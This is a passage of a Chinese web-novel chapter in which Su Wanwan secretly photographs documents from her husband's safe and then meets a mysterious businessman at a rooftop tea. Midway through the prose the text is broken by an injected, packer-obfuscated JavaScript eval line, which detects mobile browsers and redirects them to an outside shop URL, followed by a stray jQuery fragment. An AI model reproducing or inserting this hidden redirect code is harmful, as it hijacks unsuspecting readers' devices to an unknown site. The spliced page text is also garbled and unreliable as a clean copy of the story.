书房的门轻轻合上，金属锁舌滑入锁扣，发出一声沉闷的“咔嗒”。
苏晚晚背靠着门板站了几秒，没动。耳朵捕捉走廊里的动静——保姆在主卧换床单，电动窗帘刚刚停，老张在厨房里开抽油烟机，油锅“刺啦”一声响，是开始煎蛋的声音。
都忙着。她又听了几秒，确认没有脚步声往这边来，才转过身。
口袋里那把钥匙凉丝丝地贴着大腿肌肤，但她没有用它——密码就够了。她的目光掠过书架第三层。那排精装版的《资治通鉴》后面，藏着一个暗格——她发现的，是婚后第一年的某个下午。那天她想找一本食谱，踮脚去够书架顶层的书，不小心碰掉了一本，捡起来的时候发现书脊比其他的薄，抽出来一看，是个空壳，里面塞着一沓票据和一份没写抬头的合同草稿。
她当时心跳得厉害，把东西原样塞回去，书壳放好，然后坐在书房的地板上，花了整整十分钟让自己恢复正常呼吸。
那之后她再也没动过那个位置。
今天她踩着书桌旁边的矮凳，伸手够到那排书，抽出第三本——书壳轻飘飘的，里面什么也没有。空的。
苏晚晚的手指在书壳内壁上摸了一圈，指尖碰到一个折角的东西。她抽出来，是一张便签纸，对折了两次，边缘微微发黄。展开，上面只有一行字，用铅笔写的，字迹很轻，像是怕留下痕迹：“别找了，它们不在原来的地方了。”
她盯着这行字看了很久，然后折好，放回书壳里，把书插回书架。
保险箱的位置她知道。书架移开之后，墙壁上有一个嵌入式的保险柜，面板是银灰色的数字键盘。她蹲下来，输入林婉儿的生日。屏幕亮了一下，显示“密码错误”。
换一个。输入林婉儿母亲的生日。密码错误。
输入傅衍之自己的生日。密码错误。
她的手指悬在数字键上方，感觉到后背沁出一层细汗。如果不进来，还有退路——但现在门已经关了。那个数字……是什么？她靠在书架侧面想了想。他改过密码——大概是去年秋天，那笔三百万的转账完成之后没几天，她半夜起来喝水，路过书房时听见他在里面打电话，声音压得很低，说“账户的事都处理好了，密码我换了”。她当时没多想，转身回了卧室。现在想来，他换的可能不止是账户密码。
她输入一串数字——那年他父亲去世的日子。屏幕闪了一下，绿色的“验证通过”亮起来，内部发出一声短促的“咔嗒”。
她拉开保险柜的门。
里面有三层。上层是几叠现金，用银行捆钞带扎着，目测大概二十万。中层是一沓文件，最上面那一份的抬头印着“股权转让协议”几个字，转让方是傅衍之，受让方赫然写着林婉儿的名字，股份比例百分之三十，日期是三个月前。她翻到底部，签名栏已经签好了，但还没公证。
下层是一个黑色的文件夹，没有标签。
苏晚晚拿起文件夹，打开。里面只有一张照片——拍的是一个年轻女人，抱着一个大概四五岁的小男孩，站在顾氏国际大厦的门前。女人穿着旧款式的连衣裙，头发扎成低马尾，笑得很淡。小男孩的眼睛和她长得很像。
照片背面写着一行小字，铅笔写的，笔画有点歪，像是写在不平整的桌面上：“2000年夏，锦城。”
她把照片翻过来又看了一遍，确定自己不认识那个女人。按快门的手指顿了顿，最终没有停顿太久——手机闪光灯没开，屏幕只发出微弱的亮光，她用手掌遮了一圈，对准文件，连拍几张。
目光扫过文件边缘露出的那串编码时，她的无名指下意识地蜷了一下——像被什么东西轻轻刺中。“FD-97-0214”。
然后她把文件一一复位，关上保险柜门，把书架推回原位。
苏晚晚站起来，把手机放进帆布袋里，理了理衣服下摆。
她走出书房的时候，保姆还在主卧里。经过走廊拐角时，楼梯上传来一阵急促的脚步声，很轻，像有人在上楼的间隙停了一下——她脚步顿住，侧耳细听，那声音没再出现。可能是错觉。
老张正站在厨房门口抽烟——侧着身，脸朝向窗外，手里的烟已经烧出长长一截灰。早饭应该已经收拾好了。
老张听见她的脚步声，转过头，没说话。他看了她一眼，目光落在她那身不到一百块的衣服上，然后移开视线，把烟头摁熄在窗台的烟灰缸里。
“找到了？”他问。
“找到了。”苏晚晚说。
她往楼下走，经过玄关的时候停下来，看了一眼鞋柜上那只牛皮纸信封。她亲手签好折进去的那份离婚协议书还在原位。她的目光停了一秒，然后移开。
铁门在她身后再次合上。
她下了台阶，走出院子。穿过喷泉的时候，水面泛着一层薄薄的油光，一片被雨水泡烂的落叶漂在水面上，绕着喷泉底座慢慢打转。
她走过山脚拐弯处时，一辆与傅衍之同款的黑色轿车正从反方向驶入山道，副驾车窗缓缓下降，露出一个模糊的侧影。她没回头，但脚步自己停顿了半拍。
苏晚晚在山脚的路边长椅上坐下，掏出手机，翻开刚拍的照片。保险柜里那份股权转让协议拍得很清楚，字迹可以分辨。照片底部，文件边缘露出那个细小的编码——她盯着那串数字又看了一遍，然后把它收好，站起来继续走。
肚子在叫了。
她低头看了看手机上的时间——八点十二分。从昨晚到现在，只吃了两颗盐渍梅子和一杯水。她拐进路边一家沙县小吃，看了一眼墙上的菜单，最便宜的是蒸饺，六块钱。她点了一份，又加了一碗四块钱的拌面，接过老板递来的号码牌，在角落头的位置坐下。
店里只有她一个客人。墙上的电视播着早间新闻，主持人念着股市行情的涨幅曲线，本地新闻的底下跑马灯一样滚着“锦城市中心CBD地块今日公开竞标”的标题。她把蒸饺沾了醋，一个一个地吃，吃得很慢。
吃完了，她付了十块钱现金，从口袋里摸出那张皱巴巴的便签纸。秋姨写的地址还在，“三号楼顶楼”旁边，她在心底默念了一遍那串数字——金融街三号楼，顶楼。秋姨说有人要见她，没说那人是谁，也没说为什么要见。她只知道，秋姨不像是会随便安排一场没用的见面的人。
她把便签纸对折两次，塞回帆布袋的夹层，拉开店门走出去。
现在不到九点。茶局是下午四点。
她还有七个小时。
苏晚晚转身往锦城市图书馆的方向走——那里有一排公共电脑，免费开放，不需要登记身份。
她在图书馆门口等到九点开门，是第一个进去的。选了一台角落头的电脑，打开浏览器，先搜了“澜海投资”的工商信息，又搜了傅氏集团近三年的财报，挨个点开，快速扫了几眼她记在本子上的那些金额，截图保存。然后她搜了顾西城的名字。
搜索结果很少。几篇财经报道，提到顾氏集团总裁顾西城先生近日在锦城出席某论坛，配图是一张侧脸照，西装革履，站在台上，看不清正脸。还有一篇专访，刊登在某杂志的电子版。她点开，快速浏览了一遍——采访里他谈了对房地产市场的看法，提了几句“城市更新”的旧改逻辑，文风简洁冷静。她注意到文中提到他每天凌晨四点起来看全球股市，住的地方有一棵桂花树。
她把那篇专访的页面添加到收藏夹，关掉了搜索。
图书馆里很安静，只有空调的低频嗡鸣和翻书页的沙沙声。苏晚晚靠在椅背上，目光落在窗外一棵老槐树的枝丫上。树影在风里慢慢晃动，阳光透过叶子的缝隙，把光斑洒在桌上。
她伸手到帆布袋里，摸到那把钥匙，指尖沿着齿痕一一碾过去，然后松开，拉好拉链，起身离开。
她在街上又走了一个多小时，在靠近金融街的一家小公园里找了条长椅坐下。公园没什么人，只有几个老人在下棋。一只橘猫蜷在台阶角落，尾巴尖在阳光里轻轻甩了一下。她盯着它看了片刻，然后在长椅上仰起头，闭上眼，让正午的太阳灼热地照在脸上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741805|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼皮后面是一片温暖的红。她听见自己的心跳声，平稳的，一下一下的。
下午三点四十五分，她站在金融街三号楼的背面。灰色的防火门还是锁着的。她掏出早上在门缝里找到的那张名片，按上面的号码拨了过去。
响了两声，接通了。一个女声，听起来大概四十岁上下，语气平淡：“哪个门？”
“三号楼背面，灰色防火门。”
“等一下。”
电话挂了。大概隔了十几秒，防火门内侧传来一声解锁的“咔嗒”声。苏晚晚推开门，闪身进去。楼道里很暗，日光灯坏了一半，只亮着一根，发出嗡嗡的电流声。楼梯是水泥的，没有铺设瓷砖或者地毯，墙角堆着几箱清洁用品。
楼梯的数字标识磨损得只剩模糊的痕迹，她数着楼层往上走，拐角的数字从“1”变成“5”，再变成“12”，直到“25”。
二十五楼。她推开楼梯间的防火门，走进一条铺着灰色地毯的走廊。
走廊尽头是一扇双开的木门，门牌上挂着“澜海投资”四个字，黄铜刻的，字体很干净。门没有锁，她推了一下，开了。
里面是一个很小的前台接待区，没有人。只有一张白色的大理石台面，上面放着一杯还冒着热气的茶。旁边压着一张便签纸，上面写着：“进电梯，上顶楼。”
苏晚晚看了看那杯茶，没有动。她沿着前台旁边的一条走廊往里走，果然看到一部电梯，银灰色的门，没有楼层按钮，只有一个指纹识别面板。
面板上贴着一张便签纸，手写的：“第一次来？按右手食指。”
她顿了顿，没有立刻按。她想起秋姨写的那张便签——三号楼顶楼，没有门牌号，没有联系人，只说有人要见她。这个人是谁，秋姨和澜海投资是什么关系，眼前这部电梯要把她送到谁面前，她都不知道。秋姨没解释，她也没问。她们之间好像有一种默契——我不问，你不说，但你让我来，我就来了。
她伸出右手食指，按在面板上。面板亮了一下——不是识别成功，而是直接弹开了，露出里面一个内嵌的九宫格键盘。
她盯着那排数字，脑子里快速地回忆了一下。林婉儿的生日——不对。输入那个号码的后四位，屏幕亮起，电梯门开了。
她走进去，电梯里只有两个按键，“1”和“顶层”。她按了顶层，电梯平稳地向上运行。轿厢内壁是不锈钢的，映出她的脸——头发有点乱，T恤领口洗得发白，帆布袋的带子在肩膀上勒出一道浅浅的印子。
她看着自己的倒影，嘴角弯了一下。
电梯停了。
门打开，是一个空旷的大厅，落地玻璃墙，下午的光线从西面斜射进来，把整个空间镀上一层暖金色。地面是浅色的木地板，光泽温润，像是被很多人踩过。大厅中央摆着一张低矮的茶桌，旁边坐着一个人。
那个人背对着她，正在沏茶。水从壶嘴里流出来，落在白瓷茶杯里，发出一声清冽的响声。他穿着一件浅灰色的衬衫，袖口挽了两圈，露出一截小臂。
苏晚晚站在电梯口，没有往前走。
那个人放下茶壶，回过头来。
三十出头的年纪，五官很深，瞳孔的颜色在夕阳下显得近乎墨黑。他的目光在她身上停了两秒，然后微微弯起嘴角。不是商场礼仪那种笑——那个笑里没有礼貌性的温度，是一种确认。
他说出这两个字时，语气不是疑问，而是一种确认——仿佛这个名字他已经默念了无数遍。
“苏晚晚？”
他的小臂动了动，右手撑住桌面，像是要站起来。但这个动作只做了一半，他停在那里，把重量重新落回座位上，只是伸手把对面那杯沏好的茶往她的方向推了推。指尖在新烫的白瓷上轻轻点了一下，被烫得收回，又落回壶把上。
“是我。”苏晚晚说。
他看着她，没再开口。桌上那杯茶的蒸汽在暖金色的光线里慢慢变淡，整个大厅只剩下窗外城市的风声，和他们之间那段还没拉开的序幕。